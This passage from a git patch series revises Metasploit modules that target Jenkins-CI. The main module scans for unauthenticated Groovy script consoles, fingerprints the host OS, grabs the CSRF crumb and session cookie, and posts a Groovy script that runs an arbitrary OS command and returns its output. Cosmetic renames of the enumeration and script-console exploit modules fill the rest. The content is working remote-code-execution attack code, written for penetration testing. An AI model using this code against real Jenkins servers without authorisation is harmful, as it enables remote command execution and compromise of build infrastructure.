 3 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 4a913e79df..f5e829c762 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'        => 'Jenkins RCE (via Groovy Script)',
+      'Name'        => 'Jenkins-CI Unauthenticated Script-Console Scanner',
       'Description' => %q{
         This module takes advantage of the lack of password on Jenkins web applications
         and automates the command execution aspect (via groovy script).
@@ -27,13 +27,14 @@ class Metasploit3 < Msf::Auxiliary
         ],
       'References'  => [
         ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/']
-       ],
+        ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
+        ],
       'License'     => MSF_LICENSE
       ))
 
     register_options(
       [
-        OptString.new('TARGETURI',  [ true,  "Path to Jenkins instance", "/jenkins/script"]),
+        OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ]),
         OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']),
       ], self.class)
     deregister_options('VHOST')
diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb
index 8a5a866338..22318191ab 100644
--- a/modules/auxiliary/scanner/http/jenkins_enum.rb
+++ b/modules/auxiliary/scanner/http/jenkins_enum.rb
@@ -19,9 +19,9 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'        => 'Jenkins Enumeration',
+      'Name'        => 'Jenkins-CI Enumeration',
       'Description' => %q{
-        This module enumerates a remote Jenkins installation in an unauthenticated manner, including
+        This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including
         host operating system and and Jenkins installation details.
       },
       'Author'      => 'Jeff McCutchan',
@@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
 
     register_options(
       [
-        OptString.new('TARGETURI',  [ true,  "Path to Jenkins instance", "/jenkins/"]),
+        OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ])
       ], self.class)
   end
 
diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb
index 5873e2705b..2806cd0ee1 100644
--- a/modules/exploits/multi/http/jenkins_script_console.rb
+++ b/modules/exploits/multi/http/jenkins_script_console.rb
@@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Jenkins Script-Console Java Execution',
+      'Name'           => 'Jenkins-CI Script-Console Java Execution',
       'Description'    => %q{
-          This module uses the Jenkins Groovy script console to execute
+          This module uses the Jenkins-CI Groovy script console to execute
         OS commands using Java.
       },
       'Author'	=>
@@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
       [
         OptString.new('USERNAME',  [ false, 'The username to authenticate as', '' ]),
         OptString.new('PASSWORD',  [ false, 'The password for the specified username', '' ]),
-        OptString.new('TARGETURI', [ true,  'The path to jenkins', '/jenkins/' ]),
+        OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ])
       ], self.class)
   end
 

From 421fb4dcb8315cd86957cf970b2666eb2596bb06 Mon Sep 17 00:00:00 2001
From: HD Moore 
Date: Fri, 4 Sep 2015 16:56:44 -0700
Subject: [PATCH 11/13] Rework of the jenkins_command module

---
 .../auxiliary/scanner/http/jenkins_command.rb | 106 +++++++++++-------
 1 file changed, 66 insertions(+), 40 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index f5e829c762..4bc4b48ede 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -5,7 +5,7 @@
 
 require 'rex/proto/http'
 require 'msf/core'
-require 'rexml/document'
+require 'cgi'
 
 class Metasploit3 < Msf::Auxiliary
 
@@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary
     super(update_info(info,
       'Name'        => 'Jenkins-CI Unauthenticated Script-Console Scanner',
       'Description' => %q{
-        This module takes advantage of the lack of password on Jenkins web applications
-        and automates the command execution aspect (via groovy script).
+        This module scans for unauthenticated Jenkins-CI script consoles and
+        executes the specified command.
       },
       'Author'      =>
         [
@@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
              'Jeffrey Cap'
         ],
       'References'  => [
-        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/']
+        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
         ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
         ],
       'License'     => MSF_LICENSE
@@ -37,61 +37,87 @@ class Metasploit3 < Msf::Auxiliary
         OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ]),
         OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']),
       ], self.class)
-    deregister_options('VHOST')
   end
 
   def fingerprint_os(ip)
-    res = send_request_cgi(
-      {
-        'uri'     => "#{target_uri.path}systemInfo",
-        'method'  => 'GET',
-        'ctype'   => 'application/x-www-form-urlencoded'
-      }
-    ).body.to_s
-    unless res.nil?
-      if res.scan(/os.name(.*?)os.version/m).to_s.downcase.include? "windows"
-        return "cmd.exe /c"
-      else
-        return ""
-      end
+    res = send_request_cgi({'uri' => "#{target_uri.path}systemInfo"})
+
+    # Verify that we received a proper systemInfo response
+    unless res && res.body.to_s.length > 0
+      vprint_error("#{peer} - The server did not reply to our systemInfo request")
     end
+
+    unless res.body.index("System Properties") &&
+           res.body.index("Environment Variables")
+      if res.body.index('Remember me on this computer')
+        vprint_error("#{peer} This Jenkins-CI system requires authentication")
+      else
+        vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
+      end
+      return
+    end
+
+    os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
+    os_info.index(">Windows") ? "cmd.exe /c " : ""
   end
 
   def run_host(ip)
     command = datastore['COMMAND'].gsub("\\", "\\\\\\")
+
     prefix = fingerprint_os(ip)
-    res = send_request_cgi(
-      {
+    return if prefix.nil?
+
+    res = send_request_cgi({
       'uri'       => "#{target_uri.path}script",
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
       'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
-    }).body.to_s
-    if res.nil?
-      print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.")
+    })
+
+    unless res && res.body.to_s.length > 0
+      vprint_error("#{peer} No response received from the server.")
+      return
+    end
+
+    plugin_output, command_output = pattern_extract(/
(.*?)<\/pre>/m, res.body.to_s)
+
+    if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
+      vprint_error("#{peer} The server returned an invalid response.")
+      return
+    end
+
+    # The output is double-HTML encoded
+    output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s)).
+             gsub(/\s*(out|err)>\s*/m, '').
+             strip
+
+    if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
+      output = $1
+      print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
     else
-      output = res.scan(/
(.*?)<\/pre>/m)
-      if output.to_s.include? "java.lang.Runtime.exec" or output.to_s.include? "not recognized"
-        print_error("#{rhost}:#{rport} - Invalid command provided to the OS.")
-        report_data(ip, rport, "The command #{command} was not valid on the remote host.")
-      elsif !output.empty? and !output.to_s.include? "java.lang.Runtime.exec"
-        output = output[1][0][12..-1].gsub("err&gt;", "").strip
-        print_good("#{rhost}:#{rport}: The command executed successfully on #{ip}. Output:")
-        report_data(ip, rport, "The command #{command} executed successfully.")
-        output.split("\n").each{|line| print_good("#{rhost}:#{rport}: #{line.strip}")}
-      else
-        print_error("#{rhost}:#{rport} - An unknown error has occured when running the command.")
-        report_data(ip, rport, "The command #{command} did not execute successfully.")
+      output.split("\n").each do |line|
+        print_good("#{peer} #{line.strip}")
       end
     end
+
+    report_vulnerable(output)
+
   end
 
-  def report_data(ip, rport, result)
-    report_service(
-      :host   => ip,
-      :port   => datastore['RPORT'],
+  def pattern_extract(pattern, buffer)
+    buffer.to_s.scan(pattern).map{ |m| m.first }
+  end
+
+  def report_vulnerable(result)
+    report_vuln(
+      :host   => rhost,
+      :port   => rport,
       :proto  => 'tcp',
-      :info   => result
+      :sname  => ssl ? 'https' : 'http',
+      :name   => self.name,
+      :info   => result,
+      :refs   => self.references,
+      :exploited_at => Time.now.utc
     )
   end
 end

From dc5e9a1d0a25563b4748bcc5f3188dc97172534c Mon Sep 17 00:00:00 2001
From: Spencer McIntyre 
Date: Sun, 22 Nov 2015 17:51:27 -0500
Subject: [PATCH 12/13] Support CSRF token in the Jenkins aux cmd module

---
 .../auxiliary/scanner/http/jenkins_command.rb | 35 ++++++++++++++-----
 .../multi/http/jenkins_script_console.rb      |  4 +--
 2 files changed, 29 insertions(+), 10 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 4bc4b48ede..8862dba38c 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -34,8 +34,8 @@ class Metasploit3 < Msf::Auxiliary
 
     register_options(
       [
-        OptString.new('TARGETURI', [ true,  'The path to the Jenkins-CI application', '/jenkins/' ]),
-        OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']),
+        OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
+        OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
       ], self.class)
   end
 
@@ -45,6 +45,7 @@ class Metasploit3 < Msf::Auxiliary
     # Verify that we received a proper systemInfo response
     unless res && res.body.to_s.length > 0
       vprint_error("#{peer} - The server did not reply to our systemInfo request")
+      return
     end
 
     unless res.body.index("System Properties") &&
@@ -57,22 +58,40 @@ class Metasploit3 < Msf::Auxiliary
       return
     end
 
+    host_info = {}
+    if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
+      print_status("#{peer} Using CSRF token: '#{$1}'")
+      host_info[:crumb] = $1
+
+      sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
+      host_info[:cookie] = "#{sessionid}"
+    end
+
     os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
-    os_info.index(">Windows") ? "cmd.exe /c " : ""
+    host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
+    host_info
   end
 
   def run_host(ip)
     command = datastore['COMMAND'].gsub("\\", "\\\\\\")
 
-    prefix = fingerprint_os(ip)
-    return if prefix.nil?
+    host_info = fingerprint_os(ip)
+    return if host_info.nil?
+    prefix = host_info[:prefix]
 
-    res = send_request_cgi({
+    request_parameters = {
       'uri'       => "#{target_uri.path}script",
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
-      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
-    })
+      'vars_post' =>
+        {
+          'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
+          'Submit' => 'Run'
+        }
+    }
+    request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
+    request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
+    res = send_request_cgi(request_parameters)
 
     unless res && res.body.to_s.length > 0
       vprint_error("#{peer} No response received from the server.")
diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb
index 2806cd0ee1..be58119023 100644
--- a/modules/exploits/multi/http/jenkins_script_console.rb
+++ b/modules/exploits/multi/http/jenkins_script_console.rb
@@ -172,8 +172,8 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
-        print_status("Using CSRF token: '#{$1}'");
-        @crumb = $1;
+      print_status("Using CSRF token: '#{$1}'")
+      @crumb = $1
     end
 
     case target['Platform']

From 91db2597c7806ff67cba0793fa8a353c98b90b47 Mon Sep 17 00:00:00 2001
From: wchen-r7 
Date: Fri, 22 Jan 2016 11:27:26 -0600
Subject: [PATCH 13/13] normalize URIs

---
 modules/auxiliary/scanner/http/jenkins_command.rb | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 8862dba38c..87c640e6be 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -22,12 +22,13 @@ class Metasploit3 < Msf::Auxiliary
       },
       'Author'      =>
         [
-             'altonjx',
-             'Jeffrey Cap'
+          'altonjx',
+          'Jeffrey Cap'
         ],
-      'References'  => [
-        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
-        ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
+      'References'  =>
+        [
+          ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
+          ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
         ],
       'License'     => MSF_LICENSE
       ))
@@ -40,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   def fingerprint_os(ip)
-    res = send_request_cgi({'uri' => "#{target_uri.path}systemInfo"})
+    res = send_request_cgi({'uri' => normalize_uri(target_uri.path,"systemInfo")})
 
     # Verify that we received a proper systemInfo response
     unless res && res.body.to_s.length > 0
@@ -80,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary
     prefix = host_info[:prefix]
 
     request_parameters = {
-      'uri'       => "#{target_uri.path}script",
+      'uri'       => normalize_uri(target_uri.path,"script"),
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
       'vars_post' =>